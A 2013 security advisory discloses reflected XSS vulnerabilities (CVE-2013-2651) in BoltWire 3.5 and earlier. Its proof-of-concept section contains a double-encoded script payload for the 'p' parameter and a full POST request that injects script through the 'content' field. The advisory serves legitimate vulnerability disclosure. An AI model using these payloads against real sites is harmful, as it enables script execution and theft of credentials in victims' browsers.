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[ISecAuditors Security Advisories] Multiple Reflected XSS vulnerabilities in BoltWire <= v3.5
From: ISecAuditors Security Advisories <advisories () isecauditors com>
Date: Wed, 09 Oct 2013 16:16:47 +0200

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INTERNET SECURITY AUDITORS ALERT 2013-010
- Original release date: March 20th, 2013
- Last revised:  March 25th, 2013
- Discovered by: Manuel Garcia Cardenas
- Severity: 4,8/10 (CVSS Base Score)
- CVE-ID: CVE-2013-2651
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I. VULNERABILITY
-------------------------
Multiple Reflected XSS vulnerabilities in BoltWire <= v3.5

II. BACKGROUND
-------------------------
BoltWire is an easy to use web development engine with surprizing
flexibility and power. It has

the various strengths of a wiki, cms, database, search engine, and more,
all rolled together into

a software system of ground-breaking design.

III. DESCRIPTION
-------------------------
Has been detected a reflected XSS vulnerability in BoltWire <=3.5 , that
allows the execution of

arbitrary HTML/script code to be executed in the context of the victim
user's browser.

The code injection is done through the parameter "p" and "content" in
the page index.php.

IV. PROOF OF CONCEPT
-------------------------
The application does not validate the double encoding of the "p" parameter.

Malicious Request ("p" parameter):

Not vulnerable:
http://vulnerablesite.com/boltwire/index.php?p=<script>alert("XSS")</script>
Not Vulnerable:
http://vulnerablesite.com/boltwire/index.php?p=%3cscript%3ealert%28%22XSS

%22%29%3c%2fscript%3e
Vulnerable:
http://vulnerablesite.com/boltwire/index.php?p=%253cscript%253ealert%2528%2522XSS

%2522%2529%253c%252fscript%253e

Malicious Request ("content" parameter):

POST /bolt/field/index.php?p=action.create HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:19.0) Gecko/20100101
Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=bf1bcm8370oqt84lh8nvrdklb7;
BOLTsession=bf1bcm8370oqt84lh8nvrdklb7
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 121

target=example&content=</textarea><script>alert("XSS")</script>&submit=PREVIEW>

V. BUSINESS IMPACT
-------------------------
An attacker can execute arbitrary HTML or script code in a targeted
user's browser, this can

leverage to steal sensitive information as user credentials, personal
data, etc.

VI. SYSTEMS AFFECTED
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All Versions of BoltWire <= v3.5

VII. SOLUTION
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All data received by the application and can be modified by the user,
before making any kind of

transaction with them must be validated.

VIII. REFERENCES
-------------------------
http://www.boltwire.com
http://www.isecauditors.com

IX. CREDITS
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This vulnerability has been discovered
by Manuel García Cárdenas (mgarcia (at) isecauditors (dot) com).

X. REVISION HISTORY
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March   20, 2013 1: Initial release

XI. DISCLOSURE TIMELINE
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March   20, 2013: Vulnerability acquired by
                  Internet Security Auditors (www.isecauditors.com)
March   25, 2013: Sent to Devel Team.
October 09, 2013: After some months without feedback, we do a
full-disclosure

XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with
no warranties or

guarantees of fitness of use or otherwise.
Internet Security Auditors accepts no responsibility for any damage
caused by the use or misuse

of this information.

XIII. ABOUT
-------------------------
Internet Security Auditors is a Spain based leader in web application
testing, network security,

penetration testing, security compliance implementation and assessing.
Our clients include some

of the largest companies in areas such as finance, telecommunications,
insurance, ITC, etc.
We are vendor independent provider with a deep expertise since 2001. Our
efforts in R&D include

vulnerability research, open security project collaboration and
whitepapers, presentations and

security events participation and promotion. For further information
regarding our security

services, contact us.

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